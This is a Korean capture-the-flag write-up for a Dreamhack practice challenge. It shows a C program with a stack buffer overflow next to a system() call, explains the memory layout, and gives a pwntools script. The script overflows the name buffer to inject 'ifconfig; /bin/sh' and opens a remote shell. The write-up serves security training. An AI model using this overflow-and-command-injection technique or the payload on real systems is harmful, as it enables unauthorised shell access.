code
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main()
{
char cmd_ip[256] = "ifconfig";
int dummy;
char center_name[24];
init();
printf("Center name: ");
read(0, center_name, 100);
if( !strncmp(cmd_ip, "ifconfig", 8)) {
system(cmd_ip);
}
else {
printf("Something is wrong!\n");
}
exit(0);
}
checksec
exploit
설계
- 두개 이상의 명령어를 사용할 때 우리는
;
을 붙여서 한 줄에 실행한다. 이를 이용해 ifconfig
와 /bin/sh
를 동시에 보내면 되겠다.
cmd_ip
와 centername
은 둘 다 main
의 지역변수 이므로 인접하다.
- 따라서
cmd_ip
를 ifconfig
로 유지하면서 ifconfig; /bin/sh
로 만들면 될 것 같다.
centername
은 [rbp-0x130]
이고
ifconfig
는 [rbp-0x110]
이다.
- 따라서
centername
을 read할 때 b'A' * 0x20 + b'ifconfig; /bin/sh\x00'
으로 보내면 되겠다!
exploit
from pwn import *
p = remote('host3.dreamhack.games', 17003)
payload = b'A' * 0x20 + b'ifconfig; /bin/sh'
p.sendafter(b'name: ', payload)
p.interactive()